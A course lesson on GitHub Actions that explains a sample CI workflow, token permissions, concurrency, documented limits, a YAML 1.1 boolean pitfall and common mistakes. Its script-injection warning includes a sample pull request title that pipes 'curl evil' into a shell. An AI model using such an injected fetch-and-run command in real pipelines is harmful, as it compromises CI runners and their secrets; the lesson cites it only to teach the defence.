03 · GitHub Actions Essentials¶
GitHub Actions is the CI/CD system built into GitHub: pipelines are YAML files in .github/workflows/, triggered by repository events, run on GitHub-hosted or self-hosted runners. This lesson covers the parts you need to read and write real workflows; the full feature tour (Marketplace, packages, Pages, issue automation) belongs to the GitHub & Git Mastery Path, which this course does
not duplicate.
What was run
No workflow below was run on GitHub; there was no repository or runner in this environment. The syntax comes from the GitHub Actions documentation (docs.github.com, October 2026), and the numeric limits I quote come from its "Actions limits" page. What I did run: PyYAML parsed the example workflow (it is well-formed YAML), which surfaced the YAML 1.1 gotcha described below; I did not validate it against GitHub's schema (a tool such as actionlint would, but
I did not run one). Action version tags (@v4, @v5) are as I knew them and change over time; check the current major versions. See Lesson 01.
A complete workflow¶
name: ci
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
permissions:
contents: read
concurrency:
group: ci-${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
test:
runs-on: ubuntu-latest
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
python: ["3.11", "3.12"]
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python }}
cache: pip
- run: pip install -r requirements.txt
- run: python -m pytest -q
package:
needs: test
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- run: tar -czf app.tar.gz app
- uses: actions/upload-artifact@v4
with:
name: app
path: app.tar.gz
Reading it top to bottom:
on:lists triggers: pushes tomain, any pull request, and manual runs (workflow_dispatch). Other events includeschedule,release,workflow_call(reusable workflows; Level 2 · 03) and many repository events.permissions: contents: readrestricts the automaticGITHUB_TOKENto read-only access to repository contents. Set this explicitly. Without it the token's default permissions depend on repository/organization settings and may be broader than you want; least privilege is the rule (Level 4 · 01).concurrencyputs runs of the same workflow and ref in one group;cancel-in-progress: truecancels the older run when a newer push arrives, saving runner minutes on rapid pushes. Do not cancel in-progress deployments this way.jobs.testruns on a GitHub-hostedubuntu-latestrunner with atimeout-minutes: 15. The default job limit on GitHub-hosted runners is 6 hours (documented), so always set something smaller.strategy.matrixcreates one job per Python version, andfail-fast: falselets the other versions finish when one fails (the default istrue, cancelling the rest; Level 2 · 01).steps:uses:runs a reusable action (actions/checkoutfetches the code,actions/setup-pythoninstalls Python and, withcache: pip, caches dependencies);run:runs a shell command. Each step's exit code decides pass/fail.needs: testorderspackageafter all matrix jobs oftest;if: github.ref == 'refs/heads/main'limits packaging to the main branch.actions/upload-artifactstoresapp.tar.gzso it can be downloaded or used by a later job or workflow (Lesson 07).
Contexts and expressions¶
${{ ... }} evaluates expressions against contexts: github (event, ref, sha, actor), env, secrets, vars, matrix, needs (outputs from earlier jobs), runner, job, steps. Examples: ${{ github.sha }}, ${{ secrets.DEPLOY_TOKEN }}, ${{ needs.build.outputs.version }}. Functions include contains(), startsWith(), hashFiles() (used for cache keys; Lesson 06), and status checks
success(), failure(), always(), cancelled().
Injection warning: never put untrusted event data (a pull request title, branch name, issue body) directly into a run: script via ${{ }}; the expression is substituted before the shell sees it, so a title like "; curl evil | sh becomes part of the script. Pass it through an environment variable and reference the variable instead (env: TITLE: ${{ github.event.pull_request.title }}, then "$TITLE"). Level 2 · 10 builds a linter that flags this.
Documented limits worth knowing (GitHub "Actions limits" page, October 2026)¶
| Limit | Value |
|---|---|
| Job execution time, GitHub-hosted runners | 6 hours (the job is terminated) |
| Job execution time, self-hosted runners | 5 days |
| Jobs generated by one matrix | 256 per workflow run |
| Workflow run time (including waiting and approvals) | 35 days |
| Time a run can wait for an environment approval | 30 days |
| Re-runs of one workflow run | 50 |
| Cache storage per repository | 10 GB |
| Concurrent jobs (standard hosted runners) | Depends on plan: 20 (Free), 40 (Pro), 60 (Team), 500 (Enterprise) |
These change; check the page before designing around them. Artifact and minute allowances also vary by plan.
The YAML 1.1 gotcha, found by parsing¶
When I parsed the workflow with PyYAML to check it, the top-level keys came back as:
The key on became the boolean True. YAML 1.1 treats the bare words on, off, yes and no as booleans (yaml.safe_load("a: on\nb: yes\nc: no\nd: 'on'") gave {'a': True, 'b': True, 'c': False, 'd': 'on'}; only the quoted 'on' stayed a string). GitHub's own parser handles on correctly, so your workflow is fine, but any script that reads workflow files with a YAML 1.1 library must look for True as well as "on"
(the linter in Level 2 · 10 does). The same trap bites version strings: python: [3.10] is the float 3.1, which is why the example quotes "3.11" and "3.12"; and country code NO becomes False. Quote strings that could be misread.
Running the same job locally¶
A workflow's real work should be a command you can run on your laptop (make test, ./ci.sh, python -m pytest), with the workflow only wiring triggers, caching and credentials around it. Then a failing pipeline is reproducible, and moving between CI systems (Level 4 · 08) is cheap. Tools like act try to run workflows locally in containers; I did not use it, and it does not match GitHub's runners exactly.
How It Actually Works¶
When an event matches a workflow's on: filter, GitHub creates a run, evaluates job dependencies and conditions, and queues each ready job for a runner with the requested label (ubuntu-latest selects a GitHub-hosted VM image; self-hosted labels select your machines). The runner downloads the job's steps, creates a fresh workspace, and for each uses: step fetches the referenced action at its tag/SHA and executes it (JavaScript, Docker or composite),
for each run: step spawns the shell. The runner streams logs back, evaluates if: and exit codes, and uploads artifacts and caches to GitHub's storage. The GITHUB_TOKEN is a short-lived credential minted per run with the permissions you declared. Because each job gets a clean VM, nothing persists between jobs except artifacts, caches and outputs.
Common mistakes¶
- No
permissions:block, leaving broader token rights than needed. - No
timeout-minutes, so a hang burns up to 6 hours. - Unquoted version numbers and booleans in YAML.
- Untrusted event fields inside
run:expressions (script injection). cancel-in-progresson deploy jobs.- Third-party actions pinned to a mutable tag (Level 3 · 08).
- Putting all logic in workflow YAML instead of scripts that run locally.
- Using
pull_request_targetcarelessly (it runs with secrets in the base repository's context; treat checkout of fork code there as dangerous).
Exercise¶
- Write a workflow for a project you know that runs tests on push and pull request, with
permissions,timeout-minutesandconcurrency. Parse it with PyYAML to confirm it is valid YAML, and note theTruekey. - Add a manual-dispatch input (
workflow_dispatch.inputs) that selects a target environment, and use it in anif:expression. - Rewrite a step that interpolates a pull request title into a shell command so it uses an environment variable instead.
- Read the "Actions limits" page and compute how many matrix combinations you could create for three operating systems and five language versions with two extra flags (and whether it fits the 256-job limit).